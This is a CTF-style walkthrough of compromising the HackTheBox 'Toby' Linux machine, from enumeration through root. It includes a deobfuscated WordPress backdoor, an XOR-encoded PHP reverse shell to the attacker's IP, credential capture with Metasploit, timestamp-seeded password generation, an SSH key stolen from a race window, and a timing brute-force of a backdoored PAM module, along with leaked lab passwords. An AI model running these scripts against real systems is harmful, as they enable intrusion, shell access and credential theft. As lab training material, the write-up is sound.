Bismillah
I’ll cover Toby machine (INSANE) from HackTheBox this box based on Linux system. As usual challenge from HackTheBox machine is we must owned fully system (privelege escalation) for getting user.txt and root.txt.
Let’s begin with enumeration using nmap for disover opening port on victim
sudo nmap -sCV -oN nmap/serv 10.10.11.121
We discovered 2 port: 22(ssh) & 80(http)
As we know website is using wordpress for CMS, so i try to scanning with wpscan but get nothing interesting there, and we don’t get something useful there except we get wordpress.toby.htb
DNS from that’s website
so we can try fuzz another subdomain in this site
ffuf -c -u "http://toby.htb/" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 50 -r -H "Host: FUZZ.toby.htb" -fs 10837
We can able get backup.toby.htb subdomain and add on /etc/hosts.
There’s a gogs service, so we can try to register and login.
When try to explore this service i just getting there’s a toby-admin user without visible some repository
I was try to some enumerate again on port scan again, try get DNS with another wordlists but it still same, i got stuck for a long time on it :( sad, so i try to fuzzing repository on gogs, and i get something useful there
We can see if repo is wordpress site’s backup, so i clone this repo and try analyze again, there’s nothing suspicious with this backup like we can use mysql creds for login on wordpress or gogs service, so for save my time i try to downloading same wordpress version source code and comparing what different with this backup
Wow there’s a php obfuscate code!! very interesting :D
so i create this script for deobfuscate php script
<?php
$data = file_get_contents("ob.php");
$stop = false;
$num = 0;
while(!$stop) {
$data = str_replace("eval", "print", $data);
ob_start();
eval($data);
$data = ob_get_contents();
ob_end_clean();
// sleep(1);
if($data != ""){
file_put_contents("result/$num", $data);
$num++;
}else{
$stop = true;
}
}?>
Result
$ cat result/79
if($comment_author_email=="help@toby.htb"&&$comment_author_url=="http://test.toby.htb/"&&substr($comment_content,0,8)=="746f6279"){
$a=substr($comment_content,8);
$host=explode(":",$a)[0];$sec=explode(":",$a)[1];
$d="/usr/bin/wordpress_comment_validate";
include $d;wp_validate_4034a3($host,$sec);return new WP_Error('unspecified error');
}
Hmmm, it’s seem like backdoor here.. so we can follow instruction this script for look at what will be happen
I assume that $sec is meaning for secret.. we can get it from comment above obfuscate code
but we just get something like this cause this just return this code php return new WP_Error('unspecified error');
So we can look what happen on the background by assuming it’s a backdoor code with wireshark
Hey! look at above! we got incoming connection on port 20053, but when listening this port we just get like some decode output like seen below, try to bash command ls,whoami,etc but no luck
So i try to decode some string on CyberChef and get something useful there
Got some hint if this prompt is encode input/output shell so i try brute-force some string again with xor on CyberChef
i spend many time for this part and getting some interesting decode string, so we can assume if we need encode our input to xor with the key like we found before
So we can input xor key on our prompt and get different output
Wow nice!! so we can create this script to geting shell on www-data
#!/usr/bin/env python3
from pwn import *
import os
l = listen(20053).wait_for_connection()
l.recvline()
l.sendline(b"id")
output = l.recvline()
key = output.decode().split("|")[1]
key = bytes.fromhex(key).decode('utf-8')
for decim in range(256):
cmd = ''.join([chr(ord(char) ^ decim) for char in key])
if cmd == "cmd:":
xor = decim
break
def xorstr(data, xor):
temp = []
for i in data:
fuck = ord(i) ^ xor
temp.append(chr(fuck))
return temp
temp = xorstr('php -r \'$sock=fsockopen("10.10.14.64",1337);exec("/bin/sh -i <&3 >&3 2>&3");\' ', xor)
ex = ''.join(temp)[0:-1]
l.sendline(ex.encode())
output = l.recvline()
And we got the shell
in this container we can’t seem another resource except wordpress source code like on backup repository so cause we have some host from wordpress config (mysql.toby.htb)
$ nslookup mysql.toby.htb
Server: 127.0.0.11
Address: 127.0.0.11#53
Non-authoritative answer:
Name: mysql.toby.htb
Address: 172.69.0.102
it’s look like it another container and we can connect it, so try reverse proxy using chisel to connect database (ref for tunelling: here )
$ proxychains mysql -h 172.69.0.102 -u root -pOnlyTheBestSecretsGoInShellScripts
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.69.0.102:3306-<><>-OK
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 1083
Server version: 8.0.26 MySQL Community Server - GPL
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
we found wordpress and gogs are here
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| gogs |
| information_schema |
| mysql |
| performance_schema |
| sys |
| wordpress |
+--------------------+
6 rows in set (0.094 sec)
i try gogs first and get some hash there, but it seem we can’t crack it (took very long time)
MySQL [gogs]> select id,name,passwd,salt from user;
+----+------------+------------------------------------------------------------------------------------------------------+------------+
| id | name | passwd | salt |
+----+------------+------------------------------------------------------------------------------------------------------+------------+
| 2 | toby-admin | 8a611020ad6c56ffd791bf334d32d32748baae42975259607ce268c274a42958ad581686151fe1bb0b736370c82fa6afebcf | PlCxfl4BrQ |
+----+------------+------------------------------------------------------------------------------------------------------+------------+
1 row in set (0.091 sec)
so try to wordpress database
MySQL [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+---------------------+---------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------------+---------------------+---------------------+---------------------+-------------+--------------+
| 1 | toby | $P$Bc.z9Qg7LCeVxEK8MxETkfVi7FdXSb0 | toby | toby@toby.htb | http://192.168.0.43 | 2021-07-08 12:00:13 | | 0 | toby |
| 2 | toby-admin | $P$B3xHYCYdc8rgZ6Uyg5kzgmeeLlEMUL0 | toby-admin | toby-admin@toby.htb | http://. | 2021-08-28 18:17:33 | | 0 | . . |
+----+------------+------------------------------------+---------------+---------------------+---------------------+---------------------+---------------------+-------------+--------------+
2 rows in set (0.090 sec)
cracking again with JtR and we get some password
toby-admin:tobykeith1
1 password hash cracked, 1 left
we can login with these creds on backup site and we found another private repository there
by opening supportsystem-db repository there just some encrypt message with AES and there’s a KEY and IV so i can easly decrypt this string using cyberchef and this is one of them
Hi, my authentication has been really slow since we were attacked. I ran some scanners as my user but didn’t find anything out of the ordinary. Can an engineer please come and look?
idk what is message mean but it’ll be useful later
so i open again on another repository and then we found some source code here
this part is look interesting here
try found some container again using nslookup and we found personal.toby.htb
as we can see, we can capture creds of mysql by giving parameter on web service to our local mysql, in this case we will use auxiliary module from metasploit here
msf5 > use auxiliary/server/capture/mysql
msf5 auxiliary(server/capture/mysql) > set johnpwfile /tmp/mysql.logins
johnpwfile => /tmp/mysql.logins
msf5 auxiliary(server/capture/mysql) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/mysql) >
[*] Started service listener on 0.0.0.0:3306
[*] Server started.
[+] 127.0.0.1:59604 - User: jack; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 7323fe921ced57a1bedbda67f9d2d63b8badb
but when we try crack this hash using rockyou.txt we can’t found a decrypt string, so we need look again on source code, we’ll found generate password function on this source
@app.route("/api/password")
def api_password():
chars = string.ascii_letters + string.digits
random.seed(int(time.time()))
password = ''.join([random.choice(chars) for x in range(32)])
return Response(json.dumps({"password": password}), mimetype="application/json")
i just guess this password was make when this box released and i solved this box 3 months after so i create some script to generate wordlist with timestamp 3 months ago (it’ll be write a huge wordlist)
#!/usr/bin/env python3
import string, random, time
f = open("password.lst", "a")
for i in range(1610000000,1648045039):
chars = string.ascii_letters + string.digits
random.seed(int(i))
password = ''.join([random.choice(chars) for x in range(32)])
f.write(password+"\n")
f.close()
and finally we can get password
jack:4DyeEYPgzc7EaML1Y3o0HvQr9Tp9nikC
1 password hash cracked, 0 left
we can connect by ssh using proxychains again (tunelling)
proxychains ssh jack@mysql.toby.htb
Try enumerating on this container again using pspy, we can found there’s a cron job where it’s look like dumping the database and send data using scp on main host machine
2021/10/09 10:57:01 CMD: UID=0 PID=52954 | runc init
2021/10/09 10:57:01 CMD: UID=0 PID=52959 | runc init
2021/10/09 10:57:01 CMD: UID=0 PID=52965 | sh -c mysqldump wordpress -uroot -pOnlyTheBestSecretsGoInShellScripts > /tmp/tmp.bJUwfFuUOB/backup.txt
2021/10/09 10:57:01 CMD: UID=0 PID=52966 | runc init
2021/10/09 10:57:01 CMD: UID=0 PID=52974 | runc init
2021/10/09 10:57:01 CMD: UID=0 PID=52981 | runc init
2021/10/09 10:57:01 CMD: UID=0 PID=52987 | scp -o StrictHostKeyChecking=no -i /tmp/tmp.bJUwfFuUOB/key /tmp/tmp.bJUwfFuUOB/backup.txt jack@172.69.0.1:/home/jack/backups/1633777021.txt
2021/10/09 10:57:03 CMD: UID=0 PID=52988 | runc init
when i try to cat /etc/key it’s seem “No such file directory” so we need capture the key (before deleted) by create some script
while :;
do cat /tmp/*/key 2>/dev/null;
if [ $? -ne 1 ]; then
break;
fi
done
and we got the rsa!!
$ ssh -i id-rsa jack@toby.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-81-generic x86_64)
...[snip]...
jack@toby:~$
After trying enumeration using LinPeas and pspy we could’nt find anything here, so after get a nudge if there’s a suspicious file on /etc named .bd
and referring from message before if auth function is broken, i try to grep where /etc/.bd
file come from
$ grep -iR '/etc/.bd' /usr 2>/dev/null
Binary file /usr/lib/x86_64-linux-gnu/security/mypam.so matches
Hmm some pam library here, we need analyze this lib using ghidra
By analyzing this file we know function is looping a content file and checking length password then verify the password using loop function
opening /etc/.bd:
__stream = fopen("/etc/.bd","r");
if (__stream == (FILE *)0x0) goto LAB_001048ff;
__isoc99_fscanf(__stream,"%[^\n]",pw);
fclose(__s
looping content file and checking input length:
while (lVar10 != 10);
compare password with content file:
if (input_pass[i] != *(char *)((long)file_pass + i)) {
LAB_001049d0:
res = _unix_verify_password(pamh,name,p,ctrl);
*piVar2 = res;
goto LAB_00104990;
}
but very interesting part is there a usleep(100000);
code it say when password is match it’ll be sleep (suspend) a 100000 microsecond (0.1s) so when i try to guess some password here
When i put 10 password with prefix “T” this auth will be add some more time (0.1s) but when i give a password less than 10 chars with “T” prefix again it’ll be not add some more time again like we give 10 chars password with another “T” prefix, by knowing this how function works i create this script to brute-forcing this auth
import string, os, time
password = "0000000000"
chars = string.ascii_letters + string.digits
i = 0
while i <= 10:
for j in chars:
password = list(password)
password[i] = j
password = "".join(password)
print(password)
now = time.time()
os.system("echo {}|su -".format(password))
est = time.time()-now
print(est)
est = str(round(est,1))
target = str(round(i*0.1+1+0.1, 1))
print("est: ",est, target, est == target)
if est == target:
password = list(password)
password[i] = j
password = "".join(password)
i+=1
break
Get this password TihPAQ4pse
and we can auth with su
jack@toby:/tmp$ su -
Password:
root@toby:~#